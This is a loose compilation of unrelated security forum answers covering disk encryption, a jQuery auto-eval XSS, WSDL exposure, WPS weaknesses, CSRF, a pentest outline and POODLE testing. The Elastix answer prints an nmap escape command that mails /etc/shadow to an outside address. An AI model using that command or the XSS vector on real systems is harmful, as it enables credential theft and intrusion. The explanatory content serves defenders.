Data from any running program might end up in swap, so your swap space needs to be encrypted as well. Unless you want to hibernate your system, the swap space can be encrypted with a random key that is generated at each boot. This is the case by default if you select full-disk encryption during installation but not if you merely later encrypt your home directory. If your swap space isn't encrypted already, set it up with `ecryptfs-setup-swap. If you want to have both swap space and hibernation, see Enable Hibernate With Encrypted Swap in the Ubuntu community documentation.

Many programs put temporary files in /tmp. The best way to handle this is to put /tmp on the memory-backed filesystem tmpfs instead of leaving it on a disk-backed filesystem. There's also a slight performance advantage. See this writeup for how to do this.

Beyond this, private data can end up in various places that aren't your private storage area. You have to decide based on what you consider to be confidential whether it's worth it encrypting these areas. Here are some notable places:

If receive mail locally (as opposed to fetching it from a POP or IMAP server), it arrives in /var/mail. If you send mail using the traditional unix method (sendmail), it transits via /var/spool/postfix (or whatever your MTA is). If you don't understand this paragraph, it doesn't apply to you.
If you set up recurring tasks, they are stored in /var/spool/cron.
When you print something, it transits in /var/spool/cups.
The system logs under /var/log might contain data you'd rather keep private, such as network errors from sites you've tried to connect to or from.
Your system configuration in /etc might have a few confidential things such as ISP or wifi passwords.

If you encrypt your home directory with ecryptfs, beware that it won't be mounted if you log in remotely with SSH while not logged in locally, so if you do that, your SSH public key file (~/.ssh/authorized_keys) needs to be present in both encrypted and cleartext form.


Is there a way to exploit jquery 1.12.4 vulnerability?

It automatically executes JavaScript received on AJAX requests.

Consider this example, which performs a GET request to a URL that the user can input.

$.get($("input").val())

Now, if the user inputs https://sakurity.com/jqueryxss, jQuery will recognize that as being JavaScript (because of the content type header) and execute it automatically. Executing JavaScript from other domains is effectively XSS, so the executed JavaScript can take over the session or change the page appearance.

This is only exploitable if you can trigger an AJAX request to a malicious JavaScript file.

I wrote a blog post about this: Libraries that evaluate remote JavaScript


The Web Services Definition Language (WSDL) provides all details necessary for binding to the service and is considered an information disclosure finding when the target of a pen test. While the following is dated, they still hold true today.

The following was taken from a Black Hat Europe 2007.

  WSDL Enumeration

  As with any other web application attack, the first step in formulating an attack on a web service is discovery and fingerprinting of the service deployment. The information gathered at this first stage is crucial to identifying possible entry points and carrying out an attack that is directed at the heart of the web service.

  Luckily for today's hackers, web services are often deployed with what many refer to as a 'blueprint for attack'. The WSDL file is a web services deployment descriptor that outlines not only the functionality provided by the web service, but also the expected syntax, the input and output points, and the location to access the service. In other words, the web service is announcing to the world its location, the methods it provides and assumptions it is making regarding its input points -- a goldmine for anyone with malicious intent.

  Source: Web Services Vulnerabilities by Nishchal Bhalla and Sahba Kazerooni (published February 15, 2007)

This snippet was taken from OWASP Europe Conference, Leuven, Belgium, May 30-31, 2006.

  WSDL and Access Scanning

  A WSDL document contains information pertaining to the Web service such as available operations, the content of the messages each of these operations accept and return, and the endpoints that are available to invoke the operations. Securing a Web service should rely on cryptographic measures to fully protect information rather than obscurity (security by obscurity should be avoided), because the information that a WSDL provides can expose certain architectural aspects about the Web service that could make it easier for an unauthorized user to mount an attack.

  For example, attackers can determine valid request formats by examining the schemas and message descriptions in the WSDL that can contain operations such as getItemByTitle, getItemById, placeOrder, getPendingOrders, etc. Knowing this information, the attacker may be able to guess other possibly hidden operations such as updateItem, and perhaps use this information to place items on sale and then place orders using newly discounted prices. In fact, it is easy for a developer to introduce such vulnerabilities to
  a Web service since WSDLs are mostly generated automatically and contain a full description of the available operations. Developers may later comment out the operation section to hide it the service, but leave related information such as the message descriptions and schema types of these operations intact.

  Source: Securing Web Services by Rix Groenboom and Rami Jaamour (published May 30-31, 2006)

The only thing I would add is that public and private services should be handled differently.

Public Service - If the WSDL describes only publicly accessible content and the service is publicly accessible, there's no risk having it remain public.
Private Service - A service requiring authentication/authorization of any kind should have it's WSDL protected in a similar manner.


Is it possible for my employer to replace the root CA on my phone?

First, it is not about replacing the CA's but about adding another CA, i.e. the proxy CA used for intercepting the SSL connections. They will not be able to add the CA to your private phone just when you connect to the Wifi.

But, as long as you don't have the proxy CA installed SSL connections will simply not work for you inside the company networks, because the certificates cannot be validated any more. It is not that they simply stop intercepting the SSL connections if the client does not have the proxy CA installed but instead they still intercept and leave the resulting problems to the client.

And it is usually perfectly legit that companies do SSL interception inside their own network to protect their infrastructure. SSL does not make web sites magically secure but only protects the transport. Malware can still be delivered by websites using SSL, either deliberately or more common because the site was hacked. If you don't like that your private phone is being monitored within the companies network simply don't connect to it. This would be probably more secure for the company too since this is one possible attack vector less to care about.


You will not be able to tell the application/port/process based on the network traffic alone.  For that, you will need to analyze the logs on the endpoint.

The add-ons you mention to block ads will help in reducing the noise you are seeing, since I imagine you're seeing a ton of random ad-traffic tied to legitimate white-listed sites users are browsing to.  The modern Internet is very loud with that stuff.

I recommend gathering logs from two places:

Border firewalls that block all HTTP/S except from your proxy server as the source -- that way if a machine is trying to connect to a C&C server through a process that is not proxy-aware (aka malware dropper / Trojan downloader) it will be denied and you will have visibility of it.
SysMon on each endpoint with process tracking and network tracking enabled.  That way you can connect to the remote Event Log during an incident response to track which processes were communicating on which ports, etc., or even better use Syslog or a SIEM to aggregate these to a central location for review.

You will need to apply some analytical discretion when getting alerted on this stuff; known ad sites and redirectors will likely accompany typical browsing, SysMon will tell you which browser was being used but browser history logs may be cleared (or Incognito was used), and remember that some malware is proxy-aware.


PC turned on by itself and sending packages even when turned off

Many BIOS support a variant of "Wake on LAN" command. This means, among other things, that there is a minimal network function even when nominally powered off.

More unlikely scenarios could include hidden firmware based malware, but a glitchy wake-on-lan seems more likely.


How does this privilege escalation vulnerability on Elastix work?

The misconfiguration would come from either a group, or user entry in sudoers.conf. This is the file that controls who can do what (with regards to sudo). In this instance judging by your commands (if they were not edited) the sudoers file contains an entry for the user asterisk to run the sudo command without entering a password.

Now in the case of nmap --interactive - that was removed some time ago. There was an escape trick that someone could use while in nmap to abuse the system. E.g.:

nmap> !head -n1 /etc/shadow | mail -s shadow my@emailaddr.com


How to prevent ICMP redirection produced by a man-in-the-middle

To drop IGMP and ICMP:

iptables -A INPUT -p ICMP -j DROP
iptables -A OUTPUT -p ICMP -j DROP

iptables -A INPUT -p IGMP -j DROP
iptables -A OUTPUT -p IGMP -j DROP


Can an exploit in my browser read login passwords without logging in again?

Yes, it is possible for an attacker to access your account.

Assuming your computer has been compromised, the attacker could easily gain access to your different accounts.

Different ways exist, such as retrieving the session cookies. Although they won't get your password, they could get directly logged in your account. (If you were already logged in.)

Other techniques includes grabbing the credentials stored in your browser, running a keylogger (as you mentioned), etc.


Securing integrity of a large file with cryptography

You are asking for resistance against a pre-image attack, i.e. that an attacker will be able to generate some input data which result in a specific hash value (i.e. the same hash value as the original file). Modern hash functions like the SHA-2 class (i.e. SHA-256, SHA-512...) are considered strong enough against this types of attack while older hashes like MD5 or SHA-1 are considered too weak.

But I'm not sure that it is even needed to generate data with the same hash value to mount an attack. Your scenario is build on the assumption that timestamping the hash (and thus the data) is a strong trust anchor. But, attackers can simply claim that the video is fake in the first place. They might even create some fake videos by their own to show how easy such faking is and thus undermine the trust in your video.


Is there Algorithm determining weakness of PIN-code?

There's no real way to do this beyond studying a real set of chosen PIN numbers by a large group of people and selecting the most common ones to be considered weak. At best you could use a statistical measure of information entropy, such as Shannon entropy or Markov probability, but with such a short sequence (4 digits) you're unlikely to get any kind of reasonable result.

The problem is that you're attempting to model a human problem algorithmically, which rarely works without very large data sets. Information entropy, as a rule, is unmeasurable directly due to the subjective definition of "information". Information is a human construct, and identifying a sequence of digits as having more information than its component numbers is a human process.

As an example, the number 7777 clearly contains a pattern, but 2701 looks like it doesn't contain any pattern at all. However, 2701 is actually the product of two primes, 37 and 73, which are the reverse of each other when written in base ten. If you didn't know this, the PIN number 2701 would appear devoid of any interesting information beyond its individual digits, but once you know that it has an interesting composition it suddenly has more information than you thought. Before reading this answer the number 2701 would probably have no special meaning to you, but others may have known of this quirk and seen it as a pattern. There's no easy way to look at someone and know whether they'd be aware of the composition of this number, or that they'd even be interested in it, let alone potentially use it as their PIN for something. As such you cannot easily determine whether there is an increased likelihood of them using that number.

The problem is confounded further by individuality issues: the day and month of my wedding anniversary has meaning to me, and certainly my wife, so it would be an obvious guess for an attacker who knows me, yet those same digits would hold no meaning to someone else. Again it falls down to the mindset of the individual.

This is the key problem: not only is it hard to classify what constitutes a "meaningful" number beyond some basic universal commonalities, but the answer also depends on the person who came up with the number, and the ability of the attacker to divine that person's sense of meaning. That's not a mathematical problem.

You can go one step further, too. Let's say a large bank accidentally leaks a full list of all the PIN numbers used by their customers - just the PINs, no associated names or account numbers. There are ten million records, so you go through and find each distinct PIN from 0000 to 9999 and count how many times each is used. You now know exactly how frequently a particular PIN might occur. This is cool research, so you publish the dataset online, and it makes it to some news sites where they explain what happened and talk about the most common PIN numbers, but also talk about the least common PIN numbers out there, including the single least frequently used PIN number. By publishing this article they automatically add informational weight to those numbers, leading a few people to change their PIN number and avoid common numbers, which changes the results. Maybe more people pick PINs from the list of least-chosen PINs, which now makes them more likely to be chosen. If you know someone read the article and changed their PIN, you'd want to check the list of least-used PINs according to that article.

As you can understand, the problem is complicated and not easily modeled. It relies upon individual human behaviours and personal choices. There is no one statistical or empirical measurement you can make of a PIN's strength beyond avoiding culturally common patterns (1111, 1234, 6969, etc.), and if you came up with an effective model it would invalidate itself anyway.


Someone got my IP address, and I'm scared they might find me

You can check what information your IP address reveals about you using free tools such as ipaddress.com
As mentioned in comments, they will not get the accurate location. They might just get the location of the cell tower your router is connected to but that's it.


This MD5 hash is just a cryptographic hash of a file, i.e. a unique identifier of the file's contents. You can compute a (more-or-less) unique MD5 hash of any file.

What does it have to do with security? You see, when you have a malicious file, you can compute its MD5 hash just like with any other file. Then, if you get this malicious file in your system and compute its hash, you will get exactly the same MD5 hash. What does this mean? It means that your security software can scan your entire file system, computing the MD5 hashes of every single potentially dangerous file and comparing them to the hash of the malicious file. If it finds a match, that means trouble!

In your example, there is a list of MD5 hashes of dangerous files. If the MD5 hash of any file on your computer matches one of these, you're probably screwed.

This is quite a basic malware-detection technique, and it is easily negated by encrypting malware. However, it was the best weapon in the arsenal of most of the earliest antiviruses.


Is WPS still insecure if the router requires a client pin?

The problem is not what the PIN is or how it was set, but how fast it can be cracked. Often this is a matter of hours. The WPS PIN consist of two part, or 8 bytes. The last digit counts as an checksum, leaving 10^7 = 10,000,000 (the actual attack only needs about 10.000 tries since there is a acknowledgement after 4 bytes). This is feasible enough to bruteforce online. If the nonces are known, offline attacks may take a few minutes. Because the nonces are so small, it is possible to scan the entire range in hours.

Update

The PIN authentication method is vulnerable, because of its small domain, thats a given. How the connection between the two parties actually took place is irrelevant (although it has been argued that push mode is more secure). Even if all is good, there have been numerous reports on flawed implementations, reused nonces, nonces based on weak entropy sources and the list goes on.

If a technique is broken you do not continue using it, not even if you conciser it to provide some security. In this case WPS PINs are not only broken (semantic security) but actually compromised.
The only thing you can do is disable WPS all together.


Securing an area both physically and technically

Quick background: I'll refer to everything that's related to your "secret image" as Red, everything else as Green.

Cell phones

I set my iPhone to airplane mode, grab my picture, and upload it at home. Forget detecting the signal; detect the phone. No comms or photo devices allowed in secure areas, even if it's a 10 year old Nokia brick. Use a metal detector. Get rid of iPod shuffles too.

Internet

For "red" machines, no and never. Well, it's not quite a disconnected world and the tradeoff of firewalling everything but Apple and Adobe update sites is probably a reasonable compromise on time versus sneaker-netting updates or downloading files to a bastion host.

Flash drive

I'd go the other way and only keep files stored locally. Besides the fact that flash drives are notorious for getting lost, the file can be copied to the local system anyway, and then onto a new flash drive. We've moved to a world where keyboards and storage media plug into the same physical port which sucks from a security standpoint. Epoxy in the ports is usually a good idea, but you would still need to keep that keyboard plugged in, and that's not easy. I suggest setting up auditd to detect any USB activity that isn't a keyboard or mouse and to push that log over the network to a monitoring device that emails and pages half the damn company at once. If you put a mass storage device in, somebody will come for you within a minute. Also, be careful about CD burners. If you can disconnect the drive, all the better.

Actually, also make sure you disable the drivers for mass storage over external drives: http://www.techrepublic.com/blog/networking/disable-usb-storage-under-os-x-or-windows/297... and still implement the audit logging. Try taking steps to detect if a machine has been unplugged from the network too.

SFTP server

Ensure that only one account can read files, and that's the account that moves things from your green network to your red network. An extra bonus if you enforce read-only to everything and use server scripts to push data to the red network. That may require some fancy permissions work and installing a mandatory access control framework if you use the standard SFTP subsystem of SSH.

I'd also consider running ProFTPD as the backend for SFTP as it does allow for more fine-grain permissions control enforced by the application config.

Machine Configuration

"Deep freeze" your machines so that they boot the same configuration every single time and keep no new files. Procedure should be to shutdown machines when done with them, or at least reboot between users. Store all your client files on one central share and audit log all access to that share.


Annual Rate of Occurrence (ARO) and Exposure Factor (EF) Data

I think you may find that this question is so huge in function and scope that you won't find such definitive lists (though I'd also love to see one.)

Publicly, you are more likely to find mean-(time-to or between)-failure of hardware than for software simply because physical engineering will be concerned with those figures during the life-cycle.  Of course, Google's study on their consumer-grade disk drives was interesting, but again, very focused and clearly shows that even if you know the stats for physical hardware, sometimes reality paints a different (or at least "more complete") picture.

With all of this said, I can think of two organizations that love to deal with probabilities of failures: the government/military and insurance companies.  Maybe this can help in the search process?


Why isn't there a standard to prevent files being attached to e-mails?

Simply put, it would be a great deal of work to implement for negligible real-world gain.

Let's imagine for a moment that such a "standard" mechanism for meta data describing the confidentiality level of a particular file existed and we are able to hand-wave away the technical details implementing such a mechanism across multiple file formats, operating systems, mail servers, clients etc.

Someone is going to be ultimately responsible for setting that information on a per file basis and, logically that is going to be the people creating/working with these files.

So, Joe Bloggs in accounting has been working on the company's quarterly figures in Excel for the last week or so, and like the diligent employee he is he has ticked the box to indicate that this is "Confidential" information. Satisfied with the job well done and certain that as soon as Mr Grand Boss the CEO sees his detailed and colorful pie charts he'll be getting that raise he's been hoping for, so he attaches the completed Excel file to a new e-mail and hits send. Outlook refuses to send the mail though, because the attachment is marked as "Confidential" and sending such files is forbidden.

Joe still needs to get these figures to the CEO though so does he:

a) Look into some way he can encrypt the file? He's heard the word in movies before but doesn't really know what it means, or where to start.

or

b) open the file, un-tick the "Confidential" box and re-attach it to the e-mail.

I can almost guarantee that in 99% of cases it's going to be option B, and that's not someone who is trying to circumvent security. They are just trying to do their job.

For someone who is trying to circumvent it, to send confidential information and documents to competitors or whoever for nefarious purposes. Then if they have the permissions to modify the file they will remove the confidential flag, send the mail and then re-enable it. Even if all they have is read access they will open the file and copy-paste the contents into a fresh one and send it.

So in either of those scenarios the "Confidential" flag has done precisely nothing to increase security


The term "sandbox" is wide, generic, and often misused and misunderstood.

Let's consider a type of sandbox, a virtual machine running under control of an hypervisor. The guest system is nominally isolated and cannot "see" the host system. However, this is relative to the implementation of the hypervisor, which is a combination of software and hardware, both of which being susceptible to bugs (hardware is always involved in that the whole thing, ultimately, runs on a CPU; I am not speaking about using or not using the AMD-V/Intel-VT opcodes). Escapes from hypervisors have happened. "Proving" the hypervisor to be correct would mean proving that it is bug-free. Proving that software is free of bugs has been a rather elusive goal for the last half century... and for hardware, even more so.

Moreover, sandboxes do not equate to safety. For a sandbox to be useful, it must have a few open doors: you run some software in the sandbox, but you will want to see the result, be it something displayed, files saved somewhere, or some network activity. When people use a Web browser in a sandbox, they want the browser to, say, actually browse the Web, so external network connections from the sandbox must be allowed; and the sandboxed browser must also have the possibility to display things, so it has an access to the graphic hardware (possibly a controlled access, but if you want 3D acceleration, strict controls become difficult). You want a sandbox because you suspect that the browser could be subverted and hijacked by an attacker. But, at that point, you have already lost (not the whole war, but significant battles nonetheless): the subverted browser, sandbox or not, is network-able and can be used as relay to attack other sites or send spam, seemingly originating from your address.

In more succint words, amputation is not the ultimately advisable type of medicine.

Let's see another kind of sandbox, the Java Virtual Machine and its support for applets. It has two main facets:

The "code" is not raw binary code for the local CPU, but "bytecode": opcodes for a conceptual, abstract machine, which lives in a non-hardware world where generic pointer arithmetics are not allowed. References have unescapable types, and array accesses are bounds-checked.
The external access facilities for the applet code are restricted: network connections can be made only to the originating server; local files cannot be read or written to; and so on.

When the bytecode must be run, it is first analyzed: the JVM implementation does a control flow analysis which formally proves (yes, in the sense of "provable security") that the code complies to the type rules for bytecode (namely, that it never calls a method on an object which does not feature that method). This allows for translation to efficient native code, without needing specialized virtualization hardware. Moreover, it protects against many types of subversion (buffer overflows are reliably detected, there is no dangling pointer or double-free because of GC-based memory management...). This kind of protection is not sufficient for "security" because you still want the access controls (e.g. blocking external connections except to the originating server) which are enforced by the system classes. The bytecode analysis is there to ensure that only the system classes are used, and are used correctly; the rest is up to the system classes.

Of course, over the history of Java, both the bytecode analyzer and system classes implementations have been found to have flaws. They are not intrinsic: what they try to achieve is not mathematically impossible. But, let's face it: bugs happen. The JVM is a rather complex piece of software which is far from being proven to be bug free. Also, the JVM runs within an operating system and on some tangible hardware, neither of which being bug-free either.

This illustrates my points:

A sandbox provides "provable security" only insofar as its implementation has no bugs. That's somewhat utopic.
What the sandbox actually provides is enforcement of a set of rules which may or, more often, may not, embody what you really mean by "security". As usual, the first step of proper security is to define clearly what you want.


Here www.dongleauth.info is list of websites,
self-hosted software and USB dongles compatible to U2F (as well as One
Time Passwords)


There is no such thing as "digital image encryption". An encryption algorithm can generally work with completely arbitrary data, including images. A cipher doesn't care if you're encrypting an image, a video, audio, a string of zeros, or the text from a public domain book. All it cares about is the bits and bytes.


It looks like you are trying to use TLS against a mysql/mariadb database by directly starting with the TLS handshake. Only, the mysql application protocol does not work this way. There is first some protocol exchange and only if this exchange shows that TLS is supported it will be used.  This is similar to SMTP+STARTTLS, FTP+AUTH_TLS etc ... Thus, what you see as response from the server is not TLS but the mysql application protocol.

For details of this protocol see the documentation of the protocol.


Is forensics possible with FDEs like LUKS or Veracrypt?

If the attacker manages to obtain multiple disk image of an FDE encrypted drives over time, FDE may leak the location and sizes of the sectors that changed between the images.

Depending on what other information that the attacker already have available about you, they may be able to infer what kind of information is was changed.

Also, XTS which is the cipher mode most commonly used for full disk encryption leaks the penguin over time because of the way the tweaking works. Writing the same data to the same block will write the same encrypted block. If a certain block flips between two possible values, they may be able to infer when that flip happens and possibly which value turns into what. More information on this.

Finally, this is probably not relevant for the forensic scenario, but since XTS is not authenticated, a sophisticated attacker may also fiddle with the encrypted disk to modify the data in it.


This is totaly application dependent. As @iain pointed out, your webserver almost certainly logs all requests. E.g. if you use apache, than you can find the logs in the /log/ folder in the apache directory.

application-dependent: if you have tons of requests, you may face problems keeping your logs for a extended amount of time. Check your webservers config for the logging-policy.

here is an example of how apache commonly logs requests:

64.242.88.10 - - [07/Mar/2004:16:05:49 -0800] "GET /twiki/bin/edit/Main/Double_bounce_sender?topicparent=Main.ConfigurationVariables HTTP/1.1" 401 12846
64.242.88.10 - - [07/Mar/2004:16:06:51 -0800] "GET /twiki/bin/rdiff/TWiki/NewUserTemplate?rev1=1.3&rev2=1.2 HTTP/1.1" 200 4523
64.242.88.10 - - [07/Mar/2004:16:10:02 -0800] "GET /mailman/listinfo/hsdivision HTTP/1.1" 200 6291
64.242.88.10 - - [07/Mar/2004:16:11:58 -0800] "GET /twiki/bin/view/TWiki/WikiSyntax HTTP/1.1" 200 7352

the lines are formated like this, though it varies depending on the logformat you configured:

IP -- [DATE] "REQUESTSTRING" HTTPRETURNCODE SIZEINBYTES

(check out this for more information on the format of the logs)

hope i have helped


Does cropping a picture change or remove properties like geotag data?

This depends entirely on the application used for editing the picture.

The application can retain the metadata, remove it and/or replace it with own metadata.

When you want to make sure that no incriminating metadata remains in an image, edit it with an image editor which allows you to view and edit all metadata fields of the image. For recommendations, check out https://softwarerecs.stackexchange.com

But be aware that when you sanitize an image before sending it, the sending application might add additional metadata. With an application like WhatsApp, which is closed source, frequently updated, stores unencrypted messages on its own server and is owned by a company with a post-privacy mentality, it is hard to tell if, under what conditions and what kind of metadata it might add to your messages. Possible information an application like WhatsApp has available and could embed in a sent image are for example:

Application-specific username
Unique identifier of sending device
GPS location when sending the image
Time when the image file was created and last changed on the device filesystem
Time when the image was sent and received


Anti-CSRF mechanism in a form changing password with an old password input is it required?

You're on the correct train of thought, in that as long as there is an element to the request that is not guessable/shared between users CSRF isn't possible. The issue at the core of CSRF is that cookies are sent automatically by the browser, which is a problem when the cookies are the only part of the victim's request that an attacker doesn't know.

Depending on your application, there may be some cases where not having a CSRF token on your password change request opens up some surface area for an attacker. Assuming that an attacker has a user's password:

the attacker can CSRF the victim and change their password on your application, which would bypass 2 factor authentication.
if your service alerts users about suspicious logins (e.g. from new browsers/regions), CSRFing the password change would not trigger an alert.


I think you really need to rethink the question, however to answer what I think you are asking (what effects can an attack on SCADA systems have) then the list would have to include:

Switching off Power
Information theft
Destruction of power plants (through
overload, oscillation, over-pressure,
disabling of safety cutouts etc - see the generator destruction video IOActive showed at Defcon)
Environmental damage (opening of oil
pipelines, opening of hydroelectric
valves incorrectly etc)
Processes running inefficiently (eg
the effect Stuxnet had on centrifuges
producing essential products for the
nuclear industry)

Basically, anything that is controlled by a SCADA system is at risk - so it's kind of the same question as "what damage can an attack on an IT system do?" - it all depends on what the IT system does.

If you can clarify your question as per the FAQ, we could definitely give you more appropriate answers.

Update: Dozens of exploits released for SCADA systems. some more info for you.


Surveillance threat modeling applied to social categories

The problem with threat models is that they require deep, technical understanding of the subject and the capabilities of the threats. Your 4 scenarios would require very different threat models, and they are not something you can cover in a documentary.

For instance, every place the data touches has its own threat model. The data on your computer, the data in transit, the data at rest at the destination, and the meta data created at every point.

Instead of delving deep into the threat models at each point, one could apply a risk model (likelihood, impact) at each point and focus on addressing the highest risks. If every threat point is a high risk (even storing data on your computer), then you have other problems. If there is one point that has a higher risk (data in transit) then you can mitigate that problem.

So, my advice is to expose the risks at every point along the data's path, and apply the typical risk mitigations at the points where there is higher risk.


How to encrypt data on flash drive to decrypt on another system?

Unfortunately all the slick methods of Full Disk Encryption are all native to the OS, and so only available on that OS, so if you need cross-platform support you have to use a more nerdy solution like GPG.

In my experience the easiest way to achieve something like this usually ends up, as Matthew suggests, to be an encrypted zip file. You can find plenty of tools to open these on any platform. 7zip is what I usually point people to.

One important point: make sure you always use AES 256 as the encryption method, and not the older native zipCrypto method.


First, the diagram you posted just shows the general process of a CA issuing a certificate (by signing a hash of the certificate's contents with its private key), and a client verifying that a certificate is issued by a specific CA (by verifying the signature using the CA certificate's public key).  For this to work, the client has to trust that particular CA (or at least the root of a multi-level PKI), i.e. it has to be in possession of its certificate beforehand.

This is only generally related to the Simple Certificate Enrollment Protocol (SCEP), which the mentioned commands on Junos OS use.

As you mentioned, request security pki ca-certificate enroll ... requests the CA certificate(s) from a SCEP server. The device does not trust these certificates automatically. Instead, the command prints the subject distinguished names (DN) and fingerprints (hashes of the public key) of these certificates and it's up to the user to verify and confirm them. According to the documentation this could look something like this:

user@host> request security pki ca-certificate enroll ca-profile entrust
Received following certificates:
  Certificate: C=us, O=juniper, CN=First Officer
    Fingerprint: 46:71:15:34:f0:a6:41:76:65:81:33:4f:68:47:c4:df:78:b8:e3:3f
  Certificate: C=us, O=juniper, CN=First Officer
    Fingerprint: bc:78:87:9b:a7:91:13:20:71:db:ac:b5:56:71:42:ad:1a:b6:46:17
  Certificate: C=us, O=juniper
    Fingerprint: 00:8e:6f:58:dd:68:bf:25:0a:e3:f9:17:70:d6:61:f3:53:a7:79:10
Do you want to load the above CA certificate ? [yes,no] (no) yes

An alternative to using that command is request security pki ca-certificate load ..., which will load the CA certificates from a file (i.e. not via SCEP).

After the CA certificates are installed and trusted, they can be used to request end-entity certificates via SCEP. The command request security pki local-certificate enroll ... does exactly that. It will create a public key pair and generate a certificate request, which contains the client's public key and subject DN and e.g. certain extensions like subjectAlernativeNames. It may also contain a challenge password if the CA requires it. That PKCS#10 request is encrypted with the CA's public key (or in certain cases the challenge password) and sent via SCEP to the server. There the CA verifies the request and, if accepted, issues a certificate, which is then returned via SCEP to the client.


Full disclosure: I'm one of passbolt developer.

If an attacker has root access to the server they can inject additional javascript to try to perform different type of attack. To our knowledge it is not possible to craft a JavaScript that would allow an attacker to get access to the private key of the end user and/or the passphrase. If you manage to craft this, do get in touch with us at security@passbolt.com.

That being said, it is possible for the attacker to breach the following:
- Confidentiality: the attacker can create/edit a user to trick another user into sharing the password with attacker. This could mitigated in the future using key signatures (for example the admin signing all the users keys).
- Availability: root access means obviously that all passwords can be deleted / tampered with.
- Integrity: idem.


Black Box penetration testing in private network

If you have just started in this field, I would suggest that you first get fundamental idea of black box penetration testing. You might also want to look into the scope of your testing. (This is the most important thing to do before you start testing)

There are various approaches you will find on the web. Traditional approach for such kind of testing is:

Information Gathering and Analysis:

After doing the necessary planning and preparation with the organization (or target) the next step is to gather as much information as possible about the targeted systems or networks. There are lot of tools and online resources available to do the necessary information gathering.

Vulnerability Assessment:

With so many targets in hand, it is important that you carefully analyze the weaker targets and attack them. At this stage, you start the vulnerability assessment on these systems to evaluate potential vulnerabilities which are exploited. You can perform the vulnerability assessment using well-known tools like Nessus, Nexpose, Open VAS etc. During the vulnerability assessment, you will also notice that many of these systems would be running outdated third party software’s and operating systems which could become easy victims of targeted attacks.

The example you gave about "outdated Jenkins etc" fall in this category.

Exploitation:

Once you find out some of the outdated software, you find the well-known vulnerabilities into it and try to find how can you exploit it. After multiple attempts, you might manage to exploit the vulnerability successfully and might get a command shell with Local Administrator privileges.

Post-Exploitation:

Now that you have broken into a domain system and added a backdoor user, you can use post-exploitation on this system. Your aim will be to get the local administrator password of the system and then check if you can login to other domain systems with these credentials.

Escalating our Privileges:

If you have access to numerous other systems with these credentials, you can use the tools like netscan to look up logged-on users with the Local Administrator Credentials.

Accessing High-Value Targets:

You can target the high value targets of the network to expose the gravity of the attack.

References:
Infosec Institute


Can I safely run a virus using sandboxie?

Depends on your risk tolerance. I've done it before with no ill effects, but the gold standard for this sort of thing is to use a virtual machine.

Sandboxie is a solution that avoids the need for a fully virtualized machine by wrapping the userspace APIs that programs have access to. Unless they've screwed up and missed one, that'll do the trick -- but the available attack surface is much less well-documented and there's a lot less defense in depth than a VM.

If you're using a recent Windows 10 build, you can install the Windows Sandbox (just run OptionalFeatures.exe and check the box), a very nice and speedy VM just for this sort of thing. Once it's installed, you can just cut-n'-paste the suspect file in there and see what happens. However, closing it will clear the sandbox; Sandboxie can retain state if you want it to, which can be useful sometimes.


How can an administrator secure against a 0day before patches are available?

The person who discovers a security issue often reports it to the software vendor or developer first. This gives the software vendor time to fix the issue before publication. Then, after it is fixed, the bug is publicly disclosed. This process is called responsible disclosure.

Sometimes, someone doesn't disclose the zero-day to the software vendor but uses it to hack other systems. Doing this can tip off security companies and disclose the bug, burning the zero-day.

I don't think your statement "most of the time, this same 0day is used for months by black hats" is true. This is true for some security issues, but a lot of zero-day bugs are found for the first time by white-hat hackers. I wouldn't say black hat hackers are ahead of white hat hackers. They both find security issues and some of these overlap. However, the offense has it easier than the defense in that the offense only needs to find one bug, and the defense needs to fix all the bugs.


Testing Poodle TLS vulnerability with OpenSSL in C++

The way I made it work is by copying SSL_write implementation and manually modifying padding after encryption. SSL_write uses other non-public functions (from a couple of files) and few macros, those must be copied as well. Correct implementation of TLS protocol must check padding size and all bytes must be set to the same value (by default it's zeros in OpenSSL). Poodle TLS vulnerable implementations don't check padding contents or size. So I just added an extra block with garbage to existing padding in the encryption function. If TLS implementation is not vulnerable then the server will abort the connection or proceed if it's vulnerable.

// increase padding size
i += bs;
// fill padding with junk to test TLS protocol compliance
for(size_t j = 0; j < i; ++j) {
    rec->input[rec->length + j] = rand() % 256;
}
rec->length += i;
rec->input[l - 1] = (i - 1);


I think there are two independent questions here that you need to distangle.

Question #1: Should I use just one factor or should I use two?

This is the question that you adress in your title - "Why not make the second factor the only factor?".

Two factor will be safer than one, but it comes with a usability and an implementation cost. If it is worth the cost depends on what your customers are prepared to accept and how valuable the thing you are trying to protect is. For a bank 2FA is almost a must, for an online hobby forum is is probably overkill. No general one size fits all answer is possible.

Question #2: If I use just one factor, which one should you pick?

This is the question the link to Medium (mostly) adresses. It is not the same as the first question.

This basically boils down to "what kind of authentications is best" - obviously a very broad question without a definative answer. But lets look at the scheme you mention.

Using email instead of a password? Can probably be a good idea for a low value target. My hobby forum on shared hosting is way more likely to be breached than the GMail. But if I am a bank this is probably bad, since some customers might have very weak email providers.

Using smartphone instead of a password? If your primary threat is large bot brute force attacks or reused credentials from other breaches this is probably a good idea. If your primary threat is snooping from someone close to you this is probably bad - there are probably a few people in your life that has easy access to your smartphone. So for the hobby forum I would say yes, but for Ashley Madison maybe no. (Or on second thought, maybe it would have been the best for them...)

I think the take home lesson here is that the one factor does not have to be a password, but what it should be depends on the specific circumstances of your situation.


TCP IN connection from another user in my home network. Is it safe?

Whether it is a threat is going to depend on what services you are running on your computer, whether you are aware of them or not, and what the device at 192.168.1.50 is.

For instance, it would be okay if you are sharing files on the local network using your computer, and 192.168.1.50 is a known IP address of a client computer wanting to download files from your computer. You could also have software installed on your computer that allows network printing for instance, and that TCP connection is just your network printer doing routine communication with your computer.

Or, it could be that someone has hacked into your device on 192.168.1.50 and is probing your computer, or that there is malware listening on your computer. Maybe 192.168.1.50 belongs to a device that shouldn't be on your network in the first place...

Without context and knowledge of what's running and what every device should be doing on your network, there's little that can be determined about that connection and its intended purpose.


I'm probably not very cool and don't use any of those currently but how about jabber / XMPP?

This thread from 2009 seems to cover some of the differences and features with a healthy focus on security.


How to store a group password for multi-user server-client web-application?

Updated

There are many variation on how you could implement what you have requested, they all have pros and cons so it really depends on your business requirements as to which is the best.

Keychain: Prompt for group password and cache

The least complicated way would be to ask the each user for the password and then cache the group password privately for each user (keychain), so as that they will only be required to enter the password once the first time and once after each time it changes.

The key thing here is making sure that the group password can't easily be exposed in the database.

One example of how this could be done would be to:

Create a keychain for each individual and encrypt it with a common key.
Encrypt the common key with the user's password, or whatever is being used to authenticate the user.

A keychain could be as simple as a row in a database, one for each user mapping to a group data store.

